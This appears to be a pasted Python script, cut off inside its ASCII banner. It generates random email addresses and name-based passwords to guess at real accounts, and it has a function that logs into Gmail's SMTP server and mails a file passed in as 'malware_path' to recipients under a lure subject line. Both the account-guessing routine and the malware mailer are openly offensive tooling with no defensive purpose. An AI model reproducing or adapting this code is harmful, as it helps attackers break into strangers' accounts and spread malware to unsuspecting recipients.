· 2 years ago · Aug 24, 2023, 11:50 AM
1import random
2import names
3from random_username.generate import generate_username
4from colorama import Fore, Style
5import colorama
6import smtplib
7from email.message import EmailMessage
8from email.mime.multipart import MIMEMultipart
9from email.mime.application import MIMEApplication
10from email.mime.text import MIMEText
11from email import encoders
12import os
13import ssl
14
15""""
16=============================================================================================
17Random Email and Random password generation
18with the hope to find discover new Email accounts.
19
20for example, create a random email like bob8721@gmail.com and password bob1234
21there is a 50% change that the email + password is real.
22if it is, It's saved, If not, Keep generating random email:creds
23"""
24
25def random_email(username_also = False):
26 """
27 Return a random email
28 """
29 random_numbers = str(random.randrange(0, 5000))
30 random_years = str(random.randrange(1833, 2050)) # 1833 when computer was invented (ABACUS)
31 name_full = names.get_full_name()
32 name_first = names.get_first_name()
33 name_last = names.get_last_name()
34
35 if(username_also == True):
36 prefix = random.choice([name_full.replace(" ", ""), name_first, name_last])
37 two = prefix.lower() + str(random.randrange(0, 500)) # Random Name + number
38 three = generate_username(1)[0] + random_numbers # Random Username + random_number
39 four = generate_username(1)[0] + random_years # Random Username + Random Years
40 five = prefix.lower() # Random name only
41 six = prefix.lower() + str(random.randrange(0, 500)) # Random name + Random number 0 to 500
42 seven = generate_username(1)[0] + random_numbers # random Username + random number
43 eight = generate_username(1)[0] + random_years # Random Username + random year
44 FINAL_EMAIL = random.choice([
45 two,
46 three,
47 four,
48 five,
49 six,
50 seven,
51 eight])
52 else:
53 service = ["@gmail.com", "@yahoo.com", "@protonmail.com", "@outlook.com", "@yandex.com"]
54 prefix = random.choice([name_full.replace(" ", ""), name_first, name_last])
55 email_service = random.choice([service[0], service[1], service[2], service[3], service[4]])
56
57 mail_one = prefix.lower() + email_service
58 mail_two = prefix.lower() + str(random.randrange(0, 500)) + email_service
59 mail_three = generate_username(1)[0] + random_numbers + email_service
60 mail_four = generate_username(1)[0] + random_years + email_service
61 FINAL_EMAIL = random.choice([mail_one, mail_two, mail_three, mail_four])
62
63 return FINAL_EMAIL, prefix.lower()
64
65def random_password(username):
66 """
67 Return a random password
68 """
69 random_numbers = str(random.randrange(0, 500))
70
71 return username + random_numbers
72
73
74""""
75=============================================================================================
76"""
77
78def send_mail(my_addr, my_pass, addr, malware_path):
79
80 print(Style.BRIGHT + Fore.LIGHTGREEN_EX + "\n[+] Sending Email to : " + addr)
81 context = ssl.create_default_context()
82 server = smtplib.SMTP("smtp.gmail.com", 587)
83 server.ehlo()
84 server.starttls(context=context)
85 server.ehlo()
86 try:
87 server.login(my_addr, my_pass)
88 except smtplib.SMTPAuthenticationError:
89 print(Style.BRIGHT + Fore.RED + "[X] Email or Password Incorrect. (SMTPAuthenticationError)" + Style.RESET_ALL)
90 exit(1)
91 except Exception as er:
92 print(Style.BRIGHT + Fore.RED + "[X] " + str(er) + Style.RESET_ALL)
93 exit(1)
94
95 msg = MIMEMultipart()
96 txt = "The file u requested."
97
98 msg['Subject'] = 'Here is what you requested.'
99 msg['From'] = my_addr
100 msg['To'] = addr
101 msg.attach(MIMEText(txt))
102
103 with open(malware_path, "rb") as attach:
104 p = MIMEApplication(
105 attach.read(),
106 Name=os.path.basename(malware_path)
107 )
108 p['Content-Disposition'] = 'attachment; filename="%s"' % os.path.basename(malware_path)
109
110 msg.attach(p)
111
112 try:
113 server.send_message(msg)
114 print(Style.BRIGHT + Fore.LIGHTGREEN_EX + "[+] Email Sent to : " + addr + Style.RESET_ALL)
115 except Exception as E:
116 print(Style.BRIGHT + Fore.RED + "[X] Error Sending mail " + str(E) + Style.RESET_ALL)
117
118 server.quit()
119
120def BANNER():
121 colorama.init()
122 banner = Style.BRIGHT + Fore.LIGHTGREEN_EX + """
123^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
124^^^^^^^^^^^^^^^^^^^^^^^^^^^^^% (^^^^^^) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
125^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ /^^^^^^^^^^^^^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